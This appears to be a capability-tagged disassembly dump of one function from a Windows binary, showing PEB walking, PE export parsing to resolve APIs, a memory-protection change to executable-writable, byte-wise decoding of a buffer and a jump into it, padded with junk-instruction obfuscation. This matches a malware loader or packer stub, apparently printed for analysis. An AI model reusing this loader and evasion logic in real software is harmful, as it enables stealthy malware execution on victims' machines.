Function at 0x4d40bb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edi
jmp 0x4d3b7d
sub edi, 0x8b6c
pop edi
push esi
add esi, 0xe4d9
sub esi, 0x13f71
sub esi, 0x6957
sub esi, 0x17a57
pop esi
push ebx
xor ebx, 0xc104
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
call 0x4d3bde
add byte [ebp + 0x43], cl
inc ebx
aas
dec edi
xor cl, byte [ebx + eax*4 - 0x3c]
add al, 0x81
into
adc ch, byte [ecx]
add byte [ecx + 0x324dce], al
add byte [esi + 0x51], bl
call 0x4d3bfe
add byte [ebx], dh
inc esp
xor bh, byte [0x44474f4c]
aas
add esp, 4
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
push edx
add esp, 4
sub edi, 0x4e7
call 0x4d3c73
add byte [edi + 0x38], al
dec esi
xor bh, byte [ebx]
cmp ecx, dword [esi + 0x3b]
dec ebx
add esp, 4
pop edi
push ebx
and ebx, 0x5f43
or ebx, 0x12945
sub ebx, 0x11fd0
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x4d3ca8
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4d3d02
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x4d3bd0
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x4d3bd0
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4d3cec
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4d3cf6
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x4d3d4b
push edi
add edi, 0x1198e
call 0x4d3d22
add byte [ebx], dh
inc esi
cmp eax, dword [edx + 0x42]
inc ebx
inc ebx
cmp al, 0x3c
inc edi
add esp, 4
pop edi
push edx
and edx, 0x107cb
jmp 0x4d3d36
and edx, 0x7905
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4d3db3
push edi
and edi, 0xfe56
jmp 0x4d3d5a
pop edi
push eax
or eax, 0xf6f9
or eax, 0xd036
and eax, 0x14034
pop eax
push esi
add esi, 0x1093e
jmp 0x4d3d7c
pop esi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x4d3da9
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x4d3b74
mov dword [ebp - 0x710], 0
push ebx
sub ebx, 0x158a5
pop ebx
push edi
add edi, 0x15888
xor edi, 0x117b4
jmp 0x4d3dcd
pop edi
push eax
jmp 0x4d3dd6
pop eax
push ecx
or ecx, 0x8dca
or ecx, 0x82a
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x4d3e2f
push ebx
push edi
add esp, 4
and ebx, 0x1489d
or ebx, 0x303e
pop ebx
push esi
or esi, 0x151f9
sub esi, 0x8091
call 0x4d3e1c
add byte [0x4b464e4a], dh
dec esi
xor eax, 0xc4834d4b
add al, 0x5e
mov dword [ebp - 0xa58], 0
jmp 0x4d4957
push ebx
push ebx
add esp, 4
or ebx, 0x1612e
xor ebx, 0x1ae
pop ebx
push edx
push ecx
add esp, 4
call 0x4d3e55
add byte [esi + 0x4f], cl
cmp dword [eax + 0x42], ecx
inc edx
dec ebp
cmp cl, byte [ebp - 0x7d]
les eax, [edx + ebx*2]
push ebx
and ebx, 0x7e68
pop ebx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4d3ea0
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4d4191
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x4d3ec8
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4d4191
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4d3efa
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4d4191
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x4d3f1f
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4d4191
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4d3f79
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4d4185
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x4d3fe9
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4d409b
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4d409b
push edi
push ecx
add esp, 4
xor edi, 0x12933
call 0x4d4030
add byte [edx + edi + 0x3e], cl
inc edi
dec esp
cmp byte [0xc4833437], bh
add al, 0x5f
push edi
xor edi, 0x741a
sub edi, 0x1eb9
xor edi, 0xc31
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x4d408d
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4d4094
jmp 0x4d3fda
jmp 0x4d409b
push ecx
push edi
add esp, 4
jmp 0x4d40a6
or ecx, 0xcd06
call 0x4d40bb
add byte [ebx + 0x41], al
inc esi
cmp eax, 0x3a3a4739
inc esp
add esp, 4
pop ecx
push esi
xor esi, 0x6aef
add esi, 0x12e94
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x4d40fa
mov dword [ebp - 0xc5c], 0
jmp 0x4d4169
push esi
or esi, 0x9a02
pop esi
push edi
push eax
add esp, 4
xor edi, 0xe13c
or edi, 0x6a21
xor edi, 0x14fd5
or edi, 0x15b62
pop edi
push edi
push edi
add esp, 4
sub edi, 0xae3b
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x4d415f
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x4d4169
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4d4180
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4d4191
jmp 0x4d3f6a
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x4d426c
push ecx
push esi
add esp, 4
add ecx, 0x107b0
call 0x4d41b8
add byte [esp + eax*2], bh
inc eax
inc edi
cmp dword [ebx], edi
xor eax, 0xc4834a4b
add al, 0x81
sar dword [edi], 0x34
add byte [eax], al
pop ecx
push edi
jmp 0x4d41c9
sub edi, 0x13c71
pop edi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
and edx, 0xbee8
or edx, 0x1288d
or edx, 0x3cd
jmp 0x4d41f5
pop edx
push eax
push edx
add esp, 4
sub eax, 0x1d92
xor eax, 0x6e90
or eax, 0x58a8
pop eax
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x4d426c
push eax
xor eax, 0xb545
pop eax
push eax
push edx
add esp, 4
sub eax, 0x14c3e
sub eax, 0x353b
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0xc539
or ecx, 0x6e64
and ecx, 0x13ed3
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x4d4957
push esi
push edx
add esp, 4
and esi, 0x581c
add esi, 0x10d21
sub esi, 0x14d71
pop esi
push esi
xor esi, 0x11fe0
xor esi, 0x152d9
pop esi
push eax
push eax
add esp, 4
sub eax, 0x159f2
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
push eax
add esp, 4
and esi, 0x649f
sub esi, 0x11c52
and esi, 0x54eb
add esi, 0x69c1
pop esi
push edx
jmp 0x4d42eb
or edx, 0x12fa0
sub edx, 0xe394
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x4d4310
mov dword [ebp - 0x2a8], 0
jmp 0x4d45b7
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edx
add edx, 0xcea4
call 0x4d4339
add byte [ebp + eax*2 + 0x3b], cl
inc ebp
cmp bh, byte [edi]
dec esp
xor al, 0x83
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [eax], bh
aas
aaa
dec ebp
aas
inc edi
dec ebp
cmp byte [ebx - 0x3d7efb3c], al
and bh, byte [ebp - 0x7ca60000]
mov ebp, 0xfffff398
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2a8], 0
jmp 0x4d45b7
push eax
push edx
add esp, 4
xor eax, 0x17587
pop eax
push esi
push edx
add esp, 4
add esi, 0x17a26
pop esi
push edi
or edi, 0x14e93
sub edi, 0x3d4d
add edi, 0x8609
and edi, 0x2444
pop edi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edx
sub edx, 0x1695
xor edx, 0x4ddd
and edx, 0x3bb2
pop edx
push esi
push ebx
add esp, 4
add esi, 0x17a4a
add esi, 0x7a8
or esi, 0xbced
or esi, 0x13271
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x4d465a
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x4d494b
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x4d4682
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x4d494b
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x4d46b4
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x4d494b
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x4d46d9
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x4d494b
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x4d4733
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x4d493f
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x4d47a3
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4d4855
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x4d4855
push eax
and eax, 0xcb5c
pop eax
push ebx
sub ebx, 0x16403
sub ebx, 0xcaf9
pop ebx
push eax
jmp 0x4d47ef
xor eax, 0x167fa
or eax, 0x14c8e
add eax, 0x10e0
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x4d4847
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x4d484e
jmp 0x4d4794
jmp 0x4d4855
push edx
push eax
add esp, 4
add edx, 0x3ef1
sub edx, 0x137a4
pop edx
push esi
xor esi, 0x11510
pop esi
push ecx
push ecx
add esp, 4
sub ecx, 0x3b84
xor ecx, 0x17d26
or ecx, 0xdca6
pop ecx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x4d48b4
mov dword [ebp - 0xc6c], 0
jmp 0x4d4923
push ebx
jmp 0x4d48ba
sub ebx, 0x13304
xor ebx, 0x15c33
or ebx, 0x13c37
pop ebx
push ebx
push edi
add esp, 4
add ebx, 0x7925
pop ebx
push edx
jmp 0x4d48df
and edx, 0x104f2
pop edx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x4d4919
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x4d4923
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x4d493a
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x4d494b
jmp 0x4d4724
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
push ecx
add esp, 4
add edx, 0x494f
pop edx
push edi
push edi
add esp, 4
and edi, 0xe6b
xor edi, 0x13047
jmp 0x4d497c
pop edi
push eax
push esi
add esp, 4
or eax, 0x16b34
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x4d49fc
push edi
push eax
add esp, 4
and edi, 0xb9b6
sub edi, 0x155e8
xor edi, 0xe299
pop edi
push edx
add edx, 0xe1e6
sub edx, 0x33e6
add edx, 0x38b4
add edx, 0x13cac
pop edx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x4d4a19
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x4d4a75
push ecx
call 0x4d4a37
add byte [edx], bh
dec edi
cmp byte [edx], bh
cmp eax, 0x4d4b473f
add esp, 4
add ecx, 0x672
pop ecx
push edx
push eax
add esp, 4
and edx, 0x5f1f
or edx, 0x552c
and edx, 0xd712
pop edx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x4d4a0a
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4d4aed
push eax
push ecx
add esp, 4
xor eax, 0x116dc
pop eax
push eax
push ecx
add esp, 4
sub eax, 0x1594a
add eax, 0x22f
sub eax, 0x8dc4
jmp 0x4d4ad0
pop eax
push esi
or esi, 0x11d9b
pop esi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
jmp 0x4d4af4
and ecx, 0xf69d
sub ecx, 0x10dc0
sub ecx, 0xea8d
pop ecx
push eax
push eax
add esp, 4
xor eax, 0xb329
jmp 0x4d4b18
and eax, 0xe1a1
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff06ff
pop ecx
pop eax
xchg eax, edi
jmp 0x875352bd